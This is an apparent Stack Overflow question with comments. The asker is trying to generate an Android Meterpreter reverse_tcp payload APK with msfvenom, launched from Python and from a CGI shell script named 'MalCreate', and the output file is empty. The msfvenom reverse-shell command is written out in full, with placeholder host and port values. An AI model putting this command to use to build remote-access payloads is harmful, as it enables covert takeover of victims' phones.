0

I've been trying to make a payload for android and all i get is an empty apk file. I have a python code which executes the command. The same command works when executed on the terminal. What could be the problem?

os.system('msfvenom -p android/meterpreter/reverse_tcp LHOST=ip_address LPORT=port_number R > file.apk')

I also tried executing the command through a shell script , same issue

shellscript = subprocess.Popen(['/usr/lib/cgi-bin/MalCreate/createAPK.sh'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE).
MoKG
  • 266
  • 3
  • 13
  • an empty APK sounds like a problem with your build toolchain, can you show how you do that? – BNT Jan 18 '18 at 10:32
  • The APK is created from this line `os.system('msfvenom -p android/meterpreter/reverse_tcp LHOST=ip_address LPORT=port R > file.apk')`. – MoKG Jan 19 '18 at 10:53
  • I also realised that the apk file is owned by www-data and that user does not have root permissions. I figured that's why the file is empty – MoKG Jan 19 '18 at 10:54

0 Answers0